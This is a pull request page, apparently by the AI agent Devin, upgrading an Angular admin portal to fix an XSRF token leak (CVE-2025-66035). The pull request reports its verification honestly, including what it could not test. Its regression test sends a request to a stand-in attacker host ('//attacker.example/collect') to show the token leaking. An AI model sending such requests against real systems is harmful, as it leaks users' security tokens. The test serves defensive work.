Repository navigation
bug: upgrade AdminPortal to Angular 19.2.16 (CVE-2025-66035, @angular/common XSRF token leak) [major bump] - #492
Conversation
…ngular/common XSRF token leak)
|
I'll fix CI failures and address comments from users with write access. I'll skip comments containing "(aside)".
|
There was a problem hiding this comment.
Devin Review found 1 potential issue.
2 flags not posted on this PR by your GitHub settings — view them in Devin Review. (Configure)
| let headers = new Headers( | ||
| { | ||
| sendCredential(username: string, password: string): Observable<string> { | ||
| const url = 'http://localhost:8080/index'; |
There was a problem hiding this comment.
|
Re: Devin Review "Administrator credentials use plaintext transport" ( |
Summary
Fixes CVE-2025-66035 / SNYK-JS-ANGULARCOMMON-14135651 (high, CWE-201), code-scan finding
sfind-3fea5f75. Onmaster,@angular/common: ^4.0.0resolves to 4.4.7. ItsHttpXsrfInterceptoronly skips URLs that start withhttp://orhttps://, so a mutating request to a protocol-relative URL like//attacker.example/...gets the XSRF token attached.Major bump: 4.x → 19.2.16. 19.2.16 is the smallest fixed version (the other fixed lines are 20.3.14 and 21.0.1). Nothing from 4.x through 18.x got the fix.
Duplicate of #263: same CVE, from an earlier finding (
sfind-0ee00775), and #263 is still an open draft. This branch is #263's commit cherry-picked ontomasterplus one new spec. Only one of the two should land. The other Angular-upgrade PRs (#4, #64/#52, #111/#115) overlap too, as #263 describes.Changes (all under
AdminPortal/)@angular/http→HttpClient(provideHttpClient(withInterceptorsFromDi())).angular-cli.json→angular.jsonstandalone: falseon NgModule componentsmasterhas none, and the registry is blocked here.src/app/xsrf.spec.ts, a regression test for the CVE. With XSRF enabled (theprovideHttpClientdefault) and a fixedHttpXsrfTokenExtractor:The app only calls absolute
http://localhost:8080/...URLs, so the upgrade alone closes the finding and no code workaround is needed. The Java backend (UserFront/) and the Java version are unchanged.Verification (offline: the session can only reach
git-manager.devin.ai; access toregistry.npmjs.org/api.snyk.iowas requested but not granted)Angular 19.2.16 couldn't be installed here, so I ran the tree against the closest Angular installs already on the machine:
@angular/common@4.4.7HttpXsrfInterceptordriven directly (master'snode_modules)POST //attacker.example/collect→X-XSRF-TOKEN=SECRET-XSRF-TOKEN(token leaks);https://…→ nullangular.json+karma.conf.js(ng test --browsers=ChromeHeadlessNoSandbox)should not send the XSRF token to protocol-relative URLs(Expected true to be false), so the spec catches the bugng build@angular/buildapplication + vitestunit-testbuilderng builddev + prod pass; 26/26 tests pass, including all 3 XSRF specsSnyk before/after: before = 1 issue for this ID (
@angular/common@4.4.7, from the finding). After = not measured, becauseapi.snyk.iois blocked. I expect 0 for this ID since 19.2.16 is listed as fixed.Not done:
npm install/ lockfile,ng lint, and a build/test on exactly 19.2.16. To finish:cd AdminPortal && npm install && npx ng build && npm run test:ci && npx ng lint && snyk test, then commit the generatedpackage-lock.json.Devin-Org: engineering
Link to Devin session: https://devin-gtm.devinenterprise.com/sessions/7a00405f955848b382aefe6a0cdef659
Open in Devin Desktop: https://devin-gtm.devinenterprise.com/desktop/session/7a00405f955848b382aefe6a0cdef659?variant=devin
Devin Review